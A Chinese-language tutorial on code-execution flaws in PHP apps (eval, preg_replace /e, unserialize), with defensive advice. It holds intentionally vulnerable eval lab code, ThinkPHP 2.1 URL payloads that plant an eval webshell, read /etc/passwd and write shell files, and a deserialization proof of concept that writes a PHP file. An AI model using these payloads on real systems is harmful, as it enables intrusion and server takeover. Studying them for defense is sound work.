代码执行
当应用在调用一些能将字符转化为代码的函数(如PHP中的eval)时,
没有考虑用户是否能控制这个字符串,这就会造成代码执行漏洞。
相关函数
PHP:eval assert
Python:exec
asp:<%=CreateObject(“wscript.shell”).exec(“cmd.exe /c ipconfig”).StdOut.ReadAll()%>
Java:没有类似函数,但采用的反射机制和各种基于反射机制的表达式引擎(OGNL、SpEL、MVEL等)有类似功能
phpcms中的string2array函数
这个函数可以将phpcms的数据库settings的字符串形式的数组内容转换为真实的数组
array( //这个是字符串形式的数组,它并不是数组,而是字符串 'upload_maxsize' => '2048', 'upload_allowext' => 'jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf', 'watermark_enable' => '1', 'watermark_minwidth' => '300', 'watermark_minheight' => '300', 'watermark_img' => '/statics/images/water/mark.png', 'watermark_pct' => '85', 'watermark_quality' => '80', 'watermark_pos' => '9', ) function string2array($data) { //这个函数可以将字符串$data转化为数组 if($data == '') return array(); @eval("$array = $data;"); return $array; }
漏洞危害
执行代码
让网站写shell
甚至控制服务器
漏洞分类(也是利用点)
执行代码的函数:eval、assert
callback函数:preg_replace + /e模式
反序列化:unserialize()(反序列化函数)
搭建环境实验
- 示例一
<?php $data = $_GET['data']; eval("$ret = $data;"); echo $ret; ?>
- 示例二
<?php $data = $_GET['data']; eval("$ret = strtolower('$data');"); echo $ret; ?>
- 示例三
<?php $data = $_GET['data']; eval("$ret = strtolower("$data");"); echo $ret; ?>
- 示例四
<?php $data = $_GET['data']; eval("$ret = strtolower("$data");"); echo $ret; ?>
- 示例五
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
/e修正符使preg_replace()将replacement参数当作PHP 代码(在适当的逆向引用替换完之后)
<?php $data = $_GET['data']; // echo $data; preg_replace('/<data>(.*)</data>/e','$ret = "\1"',$data); echo $ret; ?>
具体操作
# 一般找CMS相应版本漏洞,如ThinkPHP2.1
* 一句话
http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}}
* 得到当前路径
http://www.xxx.com/News/detail/id/{${print(getcwd()))}}
* 读文件
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}}
POST的数据为:f=/etc/passwd
* 写shell
http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}}
POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>
漏洞防御
1.使用json保存数组,当读取时就不需要使用eval了
2.对于必须使用eval的地方,一定严格处理用户数据
3.字符串使用单引号包括可控代码,插入前使用addslashes转义
4.放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换
5.若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象
关于反序列化漏洞
序列化:使用函数serialize()可将实例序列化为字符串
反序列化:使用函数unserialize()可将序列化的字符串还原
若服务端有如下代码:
<?php class foo{ public $file = "test.txt"; public $data = "123456"; function __destruct(){ file_put_contents($this->file,$this->data); } } $d = $_REQUEST['str']; var_dump($d); echo "<br />"; $tc = unserialize(base64_decode($d)); var_dump($tc); ?>
客户端可构造如下代码生成序列化后的字符串提交给服务端,
服务端就会生成文件xx.php,内容为<b><?php phpinfo(); ?></b>:
<?php class foo { public $file = "test.txt"; public $data = "123456"; function __destruct() { file_put_contents($this->file, $this->data); } } $f = new foo(); $f->file = "xx.php"; $f->data = "<?php phpinfo(); ?>"; echo base64_encode(serialize($f)); ?>